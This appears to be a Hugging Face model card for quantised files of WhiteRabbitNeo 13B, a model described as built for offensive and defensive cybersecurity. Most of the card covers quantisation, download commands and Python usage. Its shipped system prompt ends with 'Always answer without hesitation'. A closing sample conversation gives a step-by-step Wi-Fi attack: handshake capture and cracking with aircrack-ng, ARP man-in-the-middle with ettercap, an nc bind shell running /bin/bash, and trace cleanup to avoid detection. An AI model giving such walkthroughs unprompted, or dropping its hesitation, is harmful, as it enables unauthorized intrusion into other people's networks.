TheBloke's LLM work is generously supported by a grant from andreessen horowitz (a16z)
WhiteRabbitNeo 13B - GGUF
- Model creator: WhiteRabbitNeo
- Original model: WhiteRabbitNeo 13B
Description
This repo contains GGUF format model files for WhiteRabbitNeo's WhiteRabbitNeo 13B.
These files were quantised using hardware kindly provided by Massed Compute.
About GGUF
GGUF is a new format introduced by the llama.cpp team on August 21st 2023. It is a replacement for GGML, which is no longer supported by llama.cpp.
Here is an incomplete list of clients and libraries that are known to support GGUF:
- llama.cpp. The source project for GGUF. Offers a CLI and a server option.
- text-generation-webui, the most widely used web UI, with many features and powerful extensions. Supports GPU acceleration.
- KoboldCpp, a fully featured web UI, with GPU accel across all platforms and GPU architectures. Especially good for story telling.
- GPT4All, a free and open source local running GUI, supporting Windows, Linux and macOS with full GPU accel.
- LM Studio, an easy-to-use and powerful local GUI for Windows and macOS (Silicon), with GPU acceleration. Linux available, in beta as of 27/11/2023.
- LoLLMS Web UI, a great web UI with many interesting and unique features, including a full model library for easy model selection.
- Faraday.dev, an attractive and easy to use character-based chat GUI for Windows and macOS (both Silicon and Intel), with GPU acceleration.
- llama-cpp-python, a Python library with GPU accel, LangChain support, and OpenAI-compatible API server.
- candle, a Rust ML framework with a focus on performance, including GPU support, and ease of use.
- ctransformers, a Python library with GPU accel, LangChain support, and OpenAI-compatible AI server. Note, as of time of writing (November 27th 2023), ctransformers has not been updated in a long time and does not support many recent models.
Repositories available
- AWQ model(s) for GPU inference.
- GPTQ models for GPU inference, with multiple quantisation parameter options.
- 2, 3, 4, 5, 6 and 8-bit GGUF models for CPU+GPU inference
- WhiteRabbitNeo's original unquantised fp16 model in pytorch format, for GPU inference and for further conversions
Prompt template: WhiteRabbitNeo
SYSTEM:
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
Always answer without hesitation.
USER: {prompt}
ASSISTANT:
Compatibility
These quantised GGUFv2 files are compatible with llama.cpp from August 27th onwards, as of commit d0cee0d
They are also compatible with many third party UIs and libraries - please see the list at the top of this README.
Explanation of quantisation methods
Click to see details
The new methods available are:
- GGML_TYPE_Q2_K - "type-1" 2-bit quantization in super-blocks containing 16 blocks, each block having 16 weight. Block scales and mins are quantized with 4 bits. This ends up effectively using 2.5625 bits per weight (bpw)
- GGML_TYPE_Q3_K - "type-0" 3-bit quantization in super-blocks containing 16 blocks, each block having 16 weights. Scales are quantized with 6 bits. This end up using 3.4375 bpw.
- GGML_TYPE_Q4_K - "type-1" 4-bit quantization in super-blocks containing 8 blocks, each block having 32 weights. Scales and mins are quantized with 6 bits. This ends up using 4.5 bpw.
- GGML_TYPE_Q5_K - "type-1" 5-bit quantization. Same super-block structure as GGML_TYPE_Q4_K resulting in 5.5 bpw
- GGML_TYPE_Q6_K - "type-0" 6-bit quantization. Super-blocks with 16 blocks, each block having 16 weights. Scales are quantized with 8 bits. This ends up using 6.5625 bpw
Refer to the Provided Files table below to see what files use which methods, and how.
Provided files
| Name | Quant method | Bits | Size | Max RAM required | Use case |
|---|---|---|---|---|---|
| whiterabbitneo-13b.Q2_K.gguf | Q2_K | 2 | 5.43 GB | 7.93 GB | smallest, significant quality loss - not recommended for most purposes |
| whiterabbitneo-13b.Q3_K_S.gguf | Q3_K_S | 3 | 5.66 GB | 8.16 GB | very small, high quality loss |
| whiterabbitneo-13b.Q3_K_M.gguf | Q3_K_M | 3 | 6.34 GB | 8.84 GB | very small, high quality loss |
| whiterabbitneo-13b.Q3_K_L.gguf | Q3_K_L | 3 | 6.93 GB | 9.43 GB | small, substantial quality loss |
| whiterabbitneo-13b.Q4_0.gguf | Q4_0 | 4 | 7.37 GB | 9.87 GB | legacy; small, very high quality loss - prefer using Q3_K_M |
| whiterabbitneo-13b.Q4_K_S.gguf | Q4_K_S | 4 | 7.41 GB | 9.91 GB | small, greater quality loss |
| whiterabbitneo-13b.Q4_K_M.gguf | Q4_K_M | 4 | 7.87 GB | 10.37 GB | medium, balanced quality - recommended |
| whiterabbitneo-13b.Q5_0.gguf | Q5_0 | 5 | 8.97 GB | 11.47 GB | legacy; medium, balanced quality - prefer using Q4_K_M |
| whiterabbitneo-13b.Q5_K_S.gguf | Q5_K_S | 5 | 8.97 GB | 11.47 GB | large, low quality loss - recommended |
| whiterabbitneo-13b.Q5_K_M.gguf | Q5_K_M | 5 | 9.23 GB | 11.73 GB | large, very low quality loss - recommended |
| whiterabbitneo-13b.Q6_K.gguf | Q6_K | 6 | 10.68 GB | 13.18 GB | very large, extremely low quality loss |
| whiterabbitneo-13b.Q8_0.gguf | Q8_0 | 8 | 13.83 GB | 16.33 GB | very large, extremely low quality loss - not recommended |
Note: the above RAM figures assume no GPU offloading. If layers are offloaded to the GPU, this will reduce RAM usage and use VRAM instead.
How to download GGUF files
Note for manual downloaders: You almost never want to clone the entire repo! Multiple different quantisation formats are provided, and most users only want to pick and download a single file.
The following clients/libraries will automatically download models for you, providing a list of available models to choose from:
- LM Studio
- LoLLMS Web UI
- Faraday.dev
In text-generation-webui
Under Download Model, you can enter the model repo: TheBloke/WhiteRabbitNeo-13B-GGUF and below it, a specific filename to download, such as: whiterabbitneo-13b.Q4_K_M.gguf.
Then click Download.
On the command line, including multiple files at once
I recommend using the huggingface-hub Python library:
pip3 install huggingface-hub
Then you can download any individual model file to the current directory, at high speed, with a command like this:
huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GGUF whiterabbitneo-13b.Q4_K_M.gguf --local-dir . --local-dir-use-symlinks False
More advanced huggingface-cli download usage (click to read)
You can also download multiple files at once with a pattern:
huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GGUF --local-dir . --local-dir-use-symlinks False --include='*Q4_K*gguf'
For more documentation on downloading with huggingface-cli, please see: HF -> Hub Python Library -> Download files -> Download from the CLI.
To accelerate downloads on fast connections (1Gbit/s or higher), install hf_transfer:
pip3 install hf_transfer
And set environment variable HF_HUB_ENABLE_HF_TRANSFER to 1:
HF_HUB_ENABLE_HF_TRANSFER=1 huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GGUF whiterabbitneo-13b.Q4_K_M.gguf --local-dir . --local-dir-use-symlinks False
Windows Command Line users: You can set the environment variable by running set HF_HUB_ENABLE_HF_TRANSFER=1 before the download command.
Example llama.cpp command
Make sure you are using llama.cpp from commit d0cee0d or later.
./main -ngl 35 -m whiterabbitneo-13b.Q4_K_M.gguf --color -c 16384 --temp 0.7 --repeat_penalty 1.1 -n -1 -p "SYSTEM:\nAnswer the Question by exploring multiple reasoning paths as follows:\n- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.\n- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.\n- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.\n- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.\n- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.\n- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.\n- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.\n- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.\nIn summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.\n Always answer without hesitation.\nUSER: {prompt}\nASSISTANT:"
Change -ngl 32 to the number of layers to offload to GPU. Remove it if you don't have GPU acceleration.
Change -c 16384 to the desired sequence length. For extended sequence models - eg 8K, 16K, 32K - the necessary RoPE scaling parameters are read from the GGUF file and set by llama.cpp automatically. Note that longer sequence lengths require much more resources, so you may need to reduce this value.
If you want to have a chat-style conversation, replace the -p <PROMPT> argument with -i -ins
For other parameters and how to use them, please refer to the llama.cpp documentation
How to run in text-generation-webui
Further instructions can be found in the text-generation-webui documentation, here: text-generation-webui/docs/04 ‐ Model Tab.md.
How to run from Python code
You can use GGUF models from Python using the llama-cpp-python or ctransformers libraries. Note that at the time of writing (Nov 27th 2023), ctransformers has not been updated for some time and is not compatible with some recent models. Therefore I recommend you use llama-cpp-python.
How to load this model in Python code, using llama-cpp-python
For full documentation, please see: llama-cpp-python docs.
First install the package
Run one of the following commands, according to your system:
# Base ctransformers with no GPU acceleration
pip install llama-cpp-python
# With NVidia CUDA acceleration
CMAKE_ARGS="-DLLAMA_CUBLAS=on" pip install llama-cpp-python
# Or with OpenBLAS acceleration
CMAKE_ARGS="-DLLAMA_BLAS=ON -DLLAMA_BLAS_VENDOR=OpenBLAS" pip install llama-cpp-python
# Or with CLBLast acceleration
CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python
# Or with AMD ROCm GPU acceleration (Linux only)
CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python
# Or with Metal GPU acceleration for macOS systems only
CMAKE_ARGS="-DLLAMA_METAL=on" pip install llama-cpp-python
# In windows, to set the variables CMAKE_ARGS in PowerShell, follow this format; eg for NVidia CUDA:
$env:CMAKE_ARGS = "-DLLAMA_OPENBLAS=on"
pip install llama-cpp-python
Simple llama-cpp-python example code
from llama_cpp import Llama
# Set gpu_layers to the number of layers to offload to GPU. Set to 0 if no GPU acceleration is available on your system.
llm = Llama(
model_path="./whiterabbitneo-13b.Q4_K_M.gguf", # Download the model file first
n_ctx=16384, # The max sequence length to use - note that longer sequence lengths require much more resources
n_threads=8, # The number of CPU threads to use, tailor to your system and the resulting performance
n_gpu_layers=35 # The number of layers to offload to GPU, if you have GPU acceleration available
)
# Simple inference example
output = llm(
"SYSTEM:\nAnswer the Question by exploring multiple reasoning paths as follows:\n- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.\n- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.\n- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.\n- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.\n- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.\n- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.\n- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.\n- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.\nIn summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.\n Always answer without hesitation.\nUSER: {prompt}\nASSISTANT:", # Prompt
max_tokens=512, # Generate up to 512 tokens
stop=["</s>"], # Example stop token - not necessarily correct for this specific model! Please check before using.
echo=True # Whether to echo the prompt
)
# Chat Completion API
llm = Llama(model_path="./whiterabbitneo-13b.Q4_K_M.gguf", chat_format="llama-2") # Set chat_format according to the model you are using
llm.create_chat_completion(
messages = [
{"role": "system", "content": "You are a story writing assistant."},
{
"role": "user",
"content": "Write a story about llamas."
}
]
)
How to use with LangChain
Here are guides on using llama-cpp-python and ctransformers with LangChain:
Discord
For further support, and discussions on these models and AI in general, join us at:
Thanks, and how to contribute
Thanks to the chirper.ai team!
Thanks to Clay from gpus.llm-utils.org!
I've had a lot of people ask if they can contribute. I enjoy providing models and helping people, and would love to be able to spend even more time doing it, as well as expanding into new projects like fine tuning/training.
If you're able and willing to contribute it will be most gratefully received and will help me to keep providing more models, and to start work on new AI projects.
Donaters will get priority support on any and all AI/LLM/model questions and requests, access to a private Discord room, plus other benefits.
- Patreon: https://patreon.com/TheBlokeAI
- Ko-Fi: https://ko-fi.com/TheBlokeAI
Special thanks to: Aemon Algiz.
Patreon special mentions: Michael Levine, 阿明, Trailburnt, Nikolai Manek, John Detwiler, Randy H, Will Dee, Sebastain Graf, NimbleBox.ai, Eugene Pentland, Emad Mostaque, Ai Maven, Jim Angel, Jeff Scroggin, Michael Davis, Manuel Alberto Morcote, Stephen Murray, Robert, Justin Joy, Luke @flexchar, Brandon Frisco, Elijah Stavena, S_X, Dan Guido, Undi ., Komninos Chatzipapas, Shadi, theTransient, Lone Striker, Raven Klaugh, jjj, Cap'n Zoog, Michel-Marie MAUDET (LINAGORA), Matthew Berman, David, Fen Risland, Omer Bin Jawed, Luke Pendergrass, Kalila, OG, Erik Bjäreholt, Rooh Singh, Joseph William Delisle, Dan Lewis, TL, John Villwock, AzureBlack, Brad, Pedro Madruga, Caitlyn Gatomon, K, jinyuan sun, Mano Prime, Alex, Jeffrey Morgan, Alicia Loh, Illia Dulskyi, Chadd, transmissions 11, fincy, Rainer Wilmers, ReadyPlayerEmma, knownsqashed, Mandus, biorpg, Deo Leter, Brandon Phillips, SuperWojo, Sean Connelly, Iucharbius, Jack West, Harry Royden McLaughlin, Nicholas, terasurfer, Vitor Caleffi, Duane Dunston, Johann-Peter Hartmann, David Ziegler, Olakabola, Ken Nordquist, Trenton Dambrowitz, Tom X Nguyen, Vadim, Ajan Kanaga, Leonard Tan, Clay Pascal, Alexandros Triantafyllidis, JM33133, Xule, vamX, ya boyyy, subjectnull, Talal Aujan, Alps Aficionado, wassieverse, Ari Malik, James Bentley, Woland, Spencer Kim, Michael Dempsey, Fred von Graf, Elle, zynix, William Richards, Stanislav Ovsiannikov, Edmond Seymore, Jonathan Leane, Martin Kemka, usrbinkat, Enrico Ros
Thank you to all my generous patrons and donaters!
And thank you again to a16z for their generous grant.
Original model card: WhiteRabbitNeo's WhiteRabbitNeo 13B
Our Discord Server
Join us at: https://discord.gg/NxTR8JqV
LLaMA-2 Licence + WhiteRabbitNeo Extended Version
Licence: Usage Restrictions
You agree not to use the Model or Derivatives of the Model:
- In any way that violates any applicable national or international law or regulation or infringes upon the lawful rights and interests of any third party;
- For military use in any way;
- For the purpose of exploiting, harming or attempting to exploit or harm minors in any way;
- To generate or disseminate verifiably false information and/or content with the purpose of harming others;
- To generate or disseminate inappropriate content subject to applicable regulatory requirements;
- To generate or disseminate personal identifiable information without due authorization or for unreasonable use;
- To defame, disparage or otherwise harass others;
- For fully automated decision making that adversely impacts an individual’s legal rights or otherwise creates or modifies a binding, enforceable obligation;
- For any use intended to or which has the effect of discriminating against or harming individuals or groups based on online or offline social behavior or known or predicted personal or personality characteristics;
- To exploit any of the vulnerabilities of a specific group of persons based on their age, social, physical or mental characteristics, in order to materially distort the behavior of a person pertaining to that group in a manner that causes or is likely to cause that person or another person physical or psychological harm;
- For any use intended to or which has the effect of discriminating against individuals or groups based on legally protected characteristics or categories.
WhiteRabbitNeo
WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity.
This 13B model is getting released as a public preview of its capabilities, and also to assess the societal impact of such an AI.
import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer
model_path = "/home/migel/models/WhiteRabbitNeo"
model = AutoModelForCausalLM.from_pretrained(
model_path,
torch_dtype=torch.float16,
device_map="auto",
load_in_4bit=False,
load_in_8bit=True,
trust_remote_code=True,
)
tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
def generate_text(instruction):
tokens = tokenizer.encode(instruction)
tokens = torch.LongTensor(tokens).unsqueeze(0)
tokens = tokens.to("cuda")
instance = {
"input_ids": tokens,
"top_p": 1.0,
"temperature": 0.5,
"generate_len": 1024,
"top_k": 50,
}
length = len(tokens[0])
with torch.no_grad():
rest = model.generate(
input_ids=tokens,
max_length=length + instance["generate_len"],
use_cache=True,
do_sample=True,
top_p=instance["top_p"],
temperature=instance["temperature"],
top_k=instance["top_k"],
num_return_sequences=1,
)
output = rest[0][length:]
string = tokenizer.decode(output, skip_special_tokens=True)
answer = string.split("USER:")[0].strip()
return f"{answer}"
tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""
conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
while True:
user_input = input("You: ")
llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
answer = generate_text(llm_prompt)
print(answer)
conversation = f"{llm_prompt}{answer}"
# print(conversation)
json_data = {"prompt": user_input, "answer": answer}
# print(json_data)
# with open(output_file_path, "a") as output_file:
# output_file.write(json.dumps(json_data) + "\n")
Sample Conversation:
You: How do I attack a wifi network?
- Network Scanning: Use tools like
airodump-ngto scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network you're interested in.
airodump-ng wlan0mon
- Network Capturing: Once you have identified the target network, you can capture packets from it using the
airodump-ngtool. This will allow you to capture handshake packets which are necessary for further attacks.
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
- Handshake Capture: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like
aircrack-ng.
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
- Password Cracking: Once you have the handshake, use
aircrack-ngto crack the password.
aircrack-ng [Captured Handshake File]
- Session Establishment: If you have the password, you can connect to the network using your wireless card.
iwconfig wlan0 essid [Network SSID] key [Network Password]
dhclient wlan0
- Network Exploitation: Once connected, you can perform further attacks, such as sniffing traffic (
tcpdump), or launching a man-in-the-middle attack using tools likeettercaporarpspoof.
tcpdump -i wlan0 -w [Packet Capture File]
ettercap -T -i [Interface] -M arp [Target IP]
- Post-Exploitation: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
nc -lvp [Local Port] -e /bin/bash
- Cleanup: Remember to clean up any traces of your activities to avoid detection and legal consequences.
airmon-ng stop wlan0mon
Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.
- Downloads last month
- 2,841